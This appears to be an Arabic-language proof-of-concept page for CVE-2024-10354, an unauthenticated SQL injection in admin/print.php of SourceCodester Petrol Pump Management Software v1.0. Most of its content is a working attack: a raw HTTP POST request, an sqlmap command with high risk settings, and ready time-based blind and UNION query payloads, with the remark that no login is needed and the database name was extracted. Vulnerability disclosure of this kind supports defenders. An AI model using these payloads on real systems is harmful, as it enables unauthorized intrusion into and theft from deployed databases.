k1nakoo/cve-2024-10354استغلال لإثبات المفهوم لـ CVE-2024-10354: حقن SQL في SourceCodester Petrol Pump Management Software v1.0. يُظهر حقنًا أعمى زمنيًا غير مصدق وحقن استعلام UNION عبر admin/print.php لاستخراج محتويات قاعدة البيانات.
تنزيل مجاني لبرنامج إدارة مضخات البنزين | SourceCodester
ثغرة حقن SQL في برنامج إدارة مضخات البنزين من sourcecodester الإصدار 1.0. تم اكتشاف ثغرة مصنفة على أنها عالية الخطورة، تؤثر على وظيفة غير معروفة في ملف admin\print.php. يتم استخدام المعامل id لبناء جمل SQL خبيثة للحصول على معلومات حساسة، مما يسبب ضررًا.
admin\print.php
هنا، يتم دمج إدخال المستخدم $_POST['id'] في جملة استعلام SQL، مما يجعلها عرضة لهجمات حقن SQL بشكل واضح.
POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
احفظ الحزمة واستخدم هجوم sqlmap
payload：
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
انظر إلى الحزمة، لم أضف قيمة لملف تعريف الارتباط (cookie)، مما يشير إلى أن المصادقة غير مطلوبة ولا حاجة لتسجيل الدخول لشن هجمات عن بعد.
يمكنك أن ترى أن هذا الحمولة تستخدم طريقتين للحقن، الحقن الأعمى القائم على الوقت واستعلام UNION، وقد نجحت في حقن اسم قاعدة البيانات.